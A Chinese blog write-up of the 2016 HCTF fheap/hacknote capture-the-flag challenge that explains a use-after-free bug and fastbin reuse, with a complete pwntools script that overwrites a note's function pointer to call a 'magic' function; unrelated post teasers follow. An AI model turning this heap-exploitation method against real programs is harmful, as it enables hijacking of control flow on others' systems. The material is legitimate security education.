初探UAF漏洞 2016 HCTF fheap

2021-09-27 07:41:11 字數 2242 閱讀 3813

ctf_wiki

剛學堆,學到了uaf(use after free)漏洞,uaf本質是free後,並沒有把指標指向null,導致free後,指標還可被使用。用2016 hctf fheap來說明一下。題目也在參考鏈結裡。

看到這個程式實現了3個功能,add note,delete not,print note。

在add_note函式中找到了malloc函式,可以看出,最多只能新增5個note。

並且每個note都會先malloc(8)。前四個位元組是put,指向print_note_content函式,用來列印content,後四個位元組是content,存放著內容。並且content也是由malloc分配。

再看看del_note函式。可以看到這裡free了兩次,第一次free掉note->content。第二次free掉note。我們發現並沒有把note置null。導致free後我們還可以再次使用。

而且還發現了magic函式。

存在uaf漏洞。

首先分配note0,content大小為32位元組。

再次分配note1,content大小為32位元組。

free(note0),存入fast bin chunk(fastbins 是單向鍊錶)

free(note1),存入fast bin chunk

再次分配note2,content大小為8位元組。因為note1是最後free的,所以應該在fastbin的末尾,當分配note2時,第乙個malloc會先把note1的八個位元組拿過來,當第二次malloc(8)的時候,會把note0的八個位元組拿過來,因為當malloc的時候,首先會匹配大小相同的chunk。

此時,note2的content指向note0->put。我們在note2的content輸入magic的位址,則覆蓋note0->put的位址,即當我們呼叫note->put列印訊息時,就會呼叫magci函式。

自己定義了乙個flag檔案。

#!/usr/bin/env python

# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')

def addnote(size, content):

r.recvuntil("")

r.sendline("1")

r.recvuntil(":")

r.sendline(str(size))

r.recvuntil(":")

r.sendline(content)

def delnote(idx):

r.recvuntil(":")

r.sendline("2")

r.recvuntil(":")

r.sendline(str(idx))

def printnote(idx):

r.recvuntil(":")

r.sendline("3")

r.recvuntil(":")

r.sendline(str(idx))

magic = 0x08048986

addnote(32, "aaaa")#分配note0

addnote(32, "bbbb")#分配note1

delnote(0)#free(note0)

delnote(1)#free(note1)

addnote(8, p32(magic))#覆蓋note0->put

printnote(0)#呼叫note0->put,則呼叫magic函式

若有**錯誤,望指正!

初探 Metasploit 漏洞框架

metasploit 就是乙個漏洞框架。它的全稱叫做 the metasploit framework,簡稱叫做 msf。metasploit 作為全球最受歡迎的工具,不僅僅是因為它的方便性和強大性,更重要的是它的框架。它允許使用者開發自己的漏洞指令碼,從而進行測試。幾乎任何公開通用漏洞都會被新增到...

Android Fuzz 漏洞挖掘初探

最近因為某些原因,主要看了幾乎能找到的安卓相關的fuzz指令碼。當然時間原因具體實際測試的並不是特別多,下面就發現的一些問題,以及個人想法分享一下。1 binder 機制 android的binder機制 binder其實也不是android提出來的一套新的程序間通訊機制,它是基於openbinde...

FeitecCMS V2 0漏洞及修復

title feiteccms v2.0 漏洞 time 2011 09 23 team makebugs author 緣分 ps在分析之前,沒看什麼時候的 分析完畢了才知道很老了。所以就大概簡略分析一下。makebug micropoor 163.com inc ft sqlin.asp 直接寫...